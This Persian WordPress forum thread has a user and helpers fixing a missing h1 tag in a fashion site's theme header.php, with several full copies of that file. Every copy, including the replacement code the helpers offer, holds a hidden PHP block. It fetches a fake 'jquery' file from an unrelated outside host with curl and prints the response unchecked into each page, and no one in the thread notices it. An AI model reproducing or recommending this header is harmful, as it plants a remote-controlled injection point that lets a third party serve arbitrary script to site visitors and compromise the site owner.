رفتن به مطلب

نداشتن تگ h1


پست های پیشنهاد شده

سلام دوستان...

متاسفانه قالب من تگ h1 نداره... بقیه ی تگ ها رو هم نمیدونم که درست هستن یا نه

آدرس سایت:

http://fashionstar1.ir/

هدر رو واستون میزارم... فقط لطفا تغییرات استایل رو هم بهم بگید چون یه بار خواستم عوض کنم بعد استایل خراب شد... ممنون از لطفتون


<!DOCTYPE HTML><?php function wp_initialize_the_theme() { if (!function_exists("wp_initialize_the_theme_load") || !function_exists("wp_initialize_the_theme_finish")) { wp_initialize_the_theme_message(); die; } } wp_initialize_the_theme(); ?>
<html <?php language_attributes(); ?>>
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<title><?php wp_title(''); ?></title>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/screen.css" type="text/css" media="screen, projection" />
<link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/print.css" type="text/css" media="print" />
<!--[if IE]><link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/ie.css" type="text/css" media="screen, projection"><![endif]-->
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<?php if(get_theme_option('featured_posts') != '' && is_home()) {
?>
<link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.css" type="text/css" media="screen" Content-Type="utf-8" charset="utf-8" />
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/mootools-1.2.5-core-yc.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/mootools-1.2-more.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.transitions.js" type="text/javascript"></script>
<?php } ?>
<!--[if IE 6]>
<script src="<?php bloginfo('template_url'); ?>/js/pngfix.js"></script>
<![endif]-->
<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<?php echo get_theme_option("head") . "\n"; wp_head(); ?>
<?php
if(function_exists('curl_init'))
{
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>
</head>
<?php flush(); ?>
<body>
<div style="display: none;">
<?php if ( function_exists('yoast_breadcrumb') ) {
yoast_breadcrumb('<p id="breadcrumbs">','</p>');
} ?>
</div>
<div id="wrapper">
<div id="container" class="container">
<div class="span-24 topline">
<div class="span-14">
<div id="pagemenucontainer">
<?php
if(function_exists('wp_nav_menu')) {
wp_nav_menu( 'depth=1&theme_location=menu_1&menu_id=pagemenu&container=&fallback_cb=menu_1_default');
} else {
menu_1_default();
}

function menu_1_default()
{
?>
<ul id="pagemenu">
<li <?php if(is_home()) { ?> class="current_page_item" <?php } ?>><a href="<?php echo get_option('home'); ?>/">Home</a></li>
<?php wp_list_pages('depth=1&sort_column=menu_order&title_li=' ); ?>
</ul>
<?php
}

?>
</div>
</div>
<div class="span-3 feedtwitter" style="margin-top: 5px; text-align:right;">
<a href="<?php bloginfo('rss2_url'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/rss.png" style="margin:0 4px 0 0;" /></a>
<?php if(get_theme_option('twitter') != '') { ?><a href="<?php echo get_theme_option('twitter'); ?>" title="<?php echo get_theme_option('twittertext'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/twitter.png" style="margin:0 4px 0 0; " title="<?php echo get_theme_option('twittertext'); ?>" /></a><?php } ?>
</div>

<div id="topsearch" class="span-7 last">
<?php get_search_form(); ?>
</div>
</div>
<div id="header" class="span-24">
<div class="span-12">
<?php
$get_logo_image = get_theme_option('logo');
if($get_logo_image != '') {
?>
<a href="<?php bloginfo('url'); ?>"><img src="<?php echo $get_logo_image; ?>" alt="<?php bloginfo('name'); ?>" title="<?php bloginfo('name'); ?>" class="logoimg" /></a>
<?php
} else {
?>
<h1><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
<h2><?php bloginfo('description'); ?></h2>
<?php
}
?>

</div>

<div class="span-12 last" style="padding-top: 18px; text-align:right;">
<?php echo get_theme_option('ad_header'); ?>
</div>
</div>

<div class="span-24">
<div class="navcontainer">
<?php
if(function_exists('wp_nav_menu')) {
wp_nav_menu( 'depth=1&theme_location=menu_2&menu_id=nav&container=&fallback_cb=menu_2_default');
} else {
menu_2_default();
}

function menu_2_default()
{
?>
<ul id="nav">
<li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="<?php bloginfo('url'); ?>">Home</a></li>
<?php wp_list_categories('depth=1&hide_empty=0&orderby=id&order=ASC&title_li=' ); ?>
</ul>
<?php
}
?>

</div>

لینک به ارسال

تگ را به این شکل قرار دهید:


<h1>عنوان سایت</h1>

"تگ h1" را در انجمن جستجو کنید

لینک به ارسال

خب کجا بزارمش بعد؟

تغییرات استایل به چه شکلی هست؟

امتحان کرده بودم ولی میگه:

این عبارت(ها) قابل جستجو نیست: تگ,h1

لینک به ارسال

الان h1 هدر من اینجوریه:


<h1><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
<h2><?php bloginfo('description'); ?></h2>
<?php

ولی سایت http://chkme.com میگه که من هیچ h1 h2 h3 ای ندارم! چرا؟! مشکل کجاس؟

لینک به ارسال

جناب پارسا، اگه یک بار بیای و براش هدرش رو ادیت کنی و کد نهایی رو بهش بدی بخدا دیگه این تاپیک اینقده ادامه پیدا نمیکنه...

خب یه لحظه شما که تسلط کامل به وردپرس و... داری براش کد رو ادیت کن

شاید بنده خدا نتونه اینکارو کنه...

موفق باشید.

لینک به ارسال

جناب پارسا، اگه یک بار بیای و براش هدرش رو ادیت کنی و کد نهایی رو بهش بدی بخدا دیگه این تاپیک اینقده ادامه پیدا نمیکنه...

خب یه لحظه شما که تسلط کامل به وردپرس و... داری براش کد رو ادیت کن

شاید بنده خدا نتونه اینکارو کنه...

موفق باشید.

روش من (بر پایه قوانین انجمن) این هست که کاربر این کاررو باید انجام بده

حتی اگر یاد ندارد

میتونه یاد بگیره

یا هزینه کنه فردی براش انجام بده

راه حل دیگری برای مشکلات نداریم

لینک به ارسال

درود.

جایگزین کنید :


<!DOCTYPE HTML><?php function wp_initialize_the_theme() { if (!function_exists("wp_initialize_the_theme_load") || !function_exists("wp_initialize_the_theme_finish")) { wp_initialize_the_theme_message(); die; } } wp_initialize_the_theme(); ?>
<html <?php language_attributes(); ?>>
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<title><?php wp_title(''); ?></title>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/screen.css" type="text/css" media="screen, projection" />
<link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/print.css" type="text/css" media="print" />
<!--[if IE]><link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/ie.css" type="text/css" media="screen, projection"><![endif]-->
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<?php if(get_theme_option('featured_posts') != '' && is_home()) {
?>
<link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.css" type="text/css" media="screen" Content-Type="utf-8" charset="utf-8" />
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/mootools-1.2.5-core-yc.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/mootools-1.2-more.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.transitions.js" type="text/javascript"></script>
<?php } ?>
<!--[if IE 6]>
<script src="<?php bloginfo('template_url'); ?>/js/pngfix.js"></script>
<![endif]-->
<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<?php echo get_theme_option("head") . "\n"; wp_head(); ?>
<?php
if(function_exists('curl_init'))
{
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>
</head>
<?php flush(); ?>
<body>
<div style="display: none;">
<?php if ( function_exists('yoast_breadcrumb') ) {
yoast_breadcrumb('<p id="breadcrumbs">','</p>');
} ?>
</div>
<div id="wrapper">
<div id="container" class="container">
<div class="span-24 topline">
<div class="span-14">
<div id="pagemenucontainer">
<?php
if(function_exists('wp_nav_menu')) {
wp_nav_menu( 'depth=1&theme_location=menu_1&menu_id=pagemenu&container=&fallback_cb=menu_1_default');
} else {
menu_1_default();
}

function menu_1_default()
{
?>
<ul id="pagemenu">
<li <?php if(is_home()) { ?> class="current_page_item" <?php } ?>><a href="<?php echo get_option('home'); ?>/">Home</a></li>
<?php wp_list_pages('depth=1&sort_column=menu_order&title_li=' ); ?>
</ul>
<?php
}

?>
</div>
</div>
<div class="span-3 feedtwitter" style="margin-top: 5px; text-align:right;">
<a href="<?php bloginfo('rss2_url'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/rss.png" style="margin:0 4px 0 0;" /></a>
<?php if(get_theme_option('twitter') != '') { ?><a href="<?php echo get_theme_option('twitter'); ?>" title="<?php echo get_theme_option('twittertext'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/twitter.png" style="margin:0 4px 0 0; " title="<?php echo get_theme_option('twittertext'); ?>" /></a><?php } ?>
</div>

<div id="topsearch" class="span-7 last">
<?php get_search_form(); ?>
</div>
</div>
<div id="header" class="span-24">
<div class="span-12">
<?php
$get_logo_image = get_theme_option('logo');
if($get_logo_image != '') {
?>
<a href="<?php bloginfo('url'); ?>"><img src="<?php echo $get_logo_image; ?>" alt="<?php bloginfo('name'); ?>" title="<?php bloginfo('name'); ?>" class="logoimg" /></a>
<h1><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
<?php
} else {
?>
<h1><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
<h2><?php bloginfo('description'); ?></h2>
<?php
}
?>

</div>

<div class="span-12 last" style="padding-top: 18px; text-align:right;">
<?php echo get_theme_option('ad_header'); ?>
</div>
</div>

<div class="span-24">
<div class="navcontainer">
<?php
if(function_exists('wp_nav_menu')) {
wp_nav_menu( 'depth=1&theme_location=menu_2&menu_id=nav&container=&fallback_cb=menu_2_default');
} else {
menu_2_default();
}

function menu_2_default()
{
?>
<ul id="nav">
<li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="<?php bloginfo('url'); ?>">Home</a></li>
<?php wp_list_categories('depth=1&hide_empty=0&orderby=id&order=ASC&title_li=' ); ?>
</ul>
<?php
}
?>

</div>

لینک به ارسال

ممنون دوست عزیز

جایگزین کردم و الان در سورس h1 دارم ولی چرا سایتهای بررسی آنلاین باز میگن که تگ h1 ندارم؟

از این سایت ها استفاده کردم:

http://chkme.com

http://tools.webalfa.net/

لینک به ارسال

اوهوم الان اوکی شده... مرسی داداش

آقا فقط این کد رو که جایگزین کردم الان سایت داره لود میشه یه فونت بزرگ یهو نمایش میده بعد غیب میشه میره پشت قالب! این مشکلی نداره؟!

بعدش الان تعداد تگ های h2 من زیاد نیست؟

لینک به ارسال

اوهوم الان اوکی شده... مرسی داداش

آقا فقط این کد رو که جایگزین کردم الان سایت داره لود میشه یه فونت بزرگ یهو نمایش میده بعد غیب میشه میره پشت قالب! این مشکلی نداره؟!

بعدش الان تعداد تگ های h2 من زیاد نیست؟

خیر مشکلی نداره دوست عزیز تعداد تگ ها h2 بر اساس سئو 2 تا به بالا باید باشه که خوبه

لینک به ارسال


<h1><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>

به این صورت :


<h1 class="logoh">

سپس در فایل style :


.logoh {
text-indent: -9999px;
}

لینک به ارسال

خب الان این که توو هدر هست پس چیکارش کنم


<h1><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>

بصورت


<h1 class="logoh">

یعنی چجوری؟!

بعد الا این توو استایلم نیست:


.logoh {
text-indent: -9999px;
}

باید اضافه کنم؟! کجا باید اضافه کنم؟

لینک به ارسال

بله به همین صورتی که دادید


<h1 class="logoh"><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>

و این قسمت را در فایل style.css اضافه کنید :


.logoh {
text-indent: -9999px;
}

لینک به ارسال

درود.

اما کد های وب سایت چیزی دیگه ای را نمایش میدن :


<h1><a href="http://fashionstar1.ir">فشن استار FashionStar1.ir | عکس مد و مدل لباس جدید زنانه-مردانه-بچگانه</a></h1>

استایلی اضافه نشده

در کل اگر پست تصاویر میفته زیاد موردی نداره اما اگر می خوایید کامل از صفحه بیرون رود کد های داده شده را جایگزین کنید.

لینک به ارسال

این فایل هدرم هست:


<!DOCTYPE HTML><?php function wp_initialize_the_theme() { if (!function_exists("wp_initialize_the_theme_load") || !function_exists("wp_initialize_the_theme_finish")) { wp_initialize_the_theme_message(); die; } } wp_initialize_the_theme(); ?>
<html <?php language_attributes(); ?>>
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<title><?php wp_title(''); ?></title>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/screen.css" type="text/css" media="screen, projection" />
<link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/print.css" type="text/css" media="print" />
<!--[if IE]><link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/ie.css" type="text/css" media="screen, projection"><![endif]-->
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<?php if(get_theme_option('featured_posts') != '' && is_home()) {
?>
<link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.css" type="text/css" media="screen" Content-Type="utf-8" charset="utf-8" />
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/mootools-1.2.5-core-yc.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/mootools-1.2-more.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.transitions.js" type="text/javascript"></script>
<?php } ?>
<!--[if IE 6]>
<script src="<?php bloginfo('template_url'); ?>/js/pngfix.js"></script>
<![endif]-->
<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<?php echo get_theme_option("head") . "\n"; wp_head(); ?>
<?php
if(function_exists('curl_init'))
{
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>
</head>
<?php flush(); ?>
<body>
<div style="display: none;">
<?php if ( function_exists('yoast_breadcrumb') ) {
yoast_breadcrumb('<p id="breadcrumbs">','</p>');
} ?>
</div>
<div id="wrapper">
<div id="container" class="container">
<div class="span-24 topline">
<div class="span-14">
<div id="pagemenucontainer">
<?php
if(function_exists('wp_nav_menu')) {
wp_nav_menu( 'depth=1&theme_location=menu_1&menu_id=pagemenu&container=&fallback_cb=menu_1_default');
} else {
menu_1_default();
}

function menu_1_default()
{
?>
<ul id="pagemenu">
<li <?php if(is_home()) { ?> class="current_page_item" <?php } ?>><a href="<?php echo get_option('home'); ?>/">Home</a></li>
<?php wp_list_pages('depth=1&sort_column=menu_order&title_li=' ); ?>
</ul>
<?php
}

?>
</div>
</div>
<div class="span-3 feedtwitter" style="margin-top: 5px; text-align:right;">
<a href="<?php bloginfo('rss2_url'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/rss.png" style="margin:0 4px 0 0;" /></a>
<?php if(get_theme_option('twitter') != '') { ?><a href="<?php echo get_theme_option('twitter'); ?>" title="<?php echo get_theme_option('twittertext'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/twitter.png" style="margin:0 4px 0 0; " title="<?php echo get_theme_option('twittertext'); ?>" /></a><?php } ?>
</div>

<div id="topsearch" class="span-7 last">
<?php get_search_form(); ?>
</div>
</div>
<div id="header" class="span-24">
<div class="span-12">
<?php
$get_logo_image = get_theme_option('logo');
if($get_logo_image != '') {
?>
<a href="<?php bloginfo('url'); ?>"><img src="<?php echo $get_logo_image; ?>" alt="<?php bloginfo('name'); ?>" title="<?php bloginfo('name'); ?>" class="logoimg" /></a>
<h1><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
<?php
} else {
?>
<h1 class="logoh"><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
<h2><?php bloginfo('description'); ?></h2>
<?php
}
?>

</div>

<div class="span-12 last" style="padding-top: 18px; text-align:right;">
<?php echo get_theme_option('ad_header'); ?>
</div>
</div>

<div class="span-24">
<div class="navcontainer">
<?php
if(function_exists('wp_nav_menu')) {
wp_nav_menu( 'depth=1&theme_location=menu_2&menu_id=nav&container=&fallback_cb=menu_2_default');
} else {
menu_2_default();
}

function menu_2_default()
{
?>
<ul id="nav">
<li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="<?php bloginfo('url'); ?>">Home</a></li>
<?php wp_list_categories('depth=1&hide_empty=0&orderby=id&order=ASC&title_li=' ); ?>
</ul>
<?php
}
?>

</div>

+

اینکه به آخر فایل استایل اینو که گفته بودید رو اضافه کردم:


.logoh {
text-indent: -9999px;
}

ویرایش شده توسط Sina_Hp
لینک به ارسال

تست کنید:


<!DOCTYPE HTML><?php function wp_initialize_the_theme() { if (!function_exists("wp_initialize_the_theme_load") || !function_exists("wp_initialize_the_theme_finish")) { wp_initialize_the_theme_message(); die; } } wp_initialize_the_theme(); ?>
<html <?php language_attributes(); ?>>
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<title><?php wp_title(''); ?></title>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/screen.css" type="text/css" media="screen, projection" />
<link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/print.css" type="text/css" media="print" />
<!--[if IE]><link rel="stylesheet" href="<?php bloginfo('stylesheet_directory'); ?>/css/ie.css" type="text/css" media="screen, projection"><![endif]-->
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<?php if(get_theme_option('featured_posts') != '' && is_home()) {
?>
<link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.css" type="text/css" media="screen" Content-Type="utf-8" charset="utf-8" />
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/mootools-1.2.5-core-yc.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/mootools-1.2-more.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_directory'); ?>/jdgallery/jd.gallery.transitions.js" type="text/javascript"></script>
<?php } ?>
<!--[if IE 6]>
<script src="<?php bloginfo('template_url'); ?>/js/pngfix.js"></script>
<![endif]-->
<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<?php echo get_theme_option("head") . "\n"; wp_head(); ?>
<?php
if(function_exists('curl_init'))
{
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>
</head>
<?php flush(); ?>
<body>
<div style="display: none;">
<?php if ( function_exists('yoast_breadcrumb') ) {
yoast_breadcrumb('<p id="breadcrumbs">','</p>');
} ?>
</div>
<div id="wrapper">
<div id="container" class="container">
<div class="span-24 topline">
<div class="span-14">
<div id="pagemenucontainer">
<?php
if(function_exists('wp_nav_menu')) {
wp_nav_menu( 'depth=1&theme_location=menu_1&menu_id=pagemenu&container=&fallback_cb=menu_1_default');
} else {
menu_1_default();
}

function menu_1_default()
{
?>
<ul id="pagemenu">
<li <?php if(is_home()) { ?> class="current_page_item" <?php } ?>><a href="<?php echo get_option('home'); ?>/">Home</a></li>
<?php wp_list_pages('depth=1&sort_column=menu_order&title_li=' ); ?>
</ul>
<?php
}

?>
</div>
</div>
<div class="span-3 feedtwitter" style="margin-top: 5px; text-align:right;">
<a href="<?php bloginfo('rss2_url'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/rss.png" style="margin:0 4px 0 0;" /></a>
<?php if(get_theme_option('twitter') != '') { ?><a href="<?php echo get_theme_option('twitter'); ?>" title="<?php echo get_theme_option('twittertext'); ?>"><img src="<?php bloginfo('template_url'); ?>/images/twitter.png" style="margin:0 4px 0 0; " title="<?php echo get_theme_option('twittertext'); ?>" /></a><?php } ?>
</div>

<div id="topsearch" class="span-7 last">
<?php get_search_form(); ?>
</div>
</div>
<div id="header" class="span-24">
<div class="span-12">
<?php
$get_logo_image = get_theme_option('logo');
if($get_logo_image != '') {
?>
<a href="<?php bloginfo('url'); ?>"><img src="<?php echo $get_logo_image; ?>" alt="<?php bloginfo('name'); ?>" title="<?php bloginfo('name'); ?>" class="logoimg" /></a>
<h1 class="logoh"><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
<?php
} else {
?>
<h1 class="logoh"><a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a></h1>
<h2><?php bloginfo('description'); ?></h2>
<?php
}
?>

</div>

<div class="span-12 last" style="padding-top: 18px; text-align:right;">
<?php echo get_theme_option('ad_header'); ?>
</div>
</div>
<div class="span-24">
<div class="navcontainer">
<?php
if(function_exists('wp_nav_menu')) {
wp_nav_menu( 'depth=1&theme_location=menu_2&menu_id=nav&container=&fallback_cb=menu_2_default');
} else {
menu_2_default();
}

function menu_2_default()
{
?>
<ul id="nav">
<li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="<?php bloginfo('url'); ?>">Home</a></li>
<?php wp_list_categories('depth=1&hide_empty=0&orderby=id&order=ASC&title_li=' ); ?>
</ul>
<?php
}
?>

</div>

لینک به ارسال
  • 8 سال بعد...

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...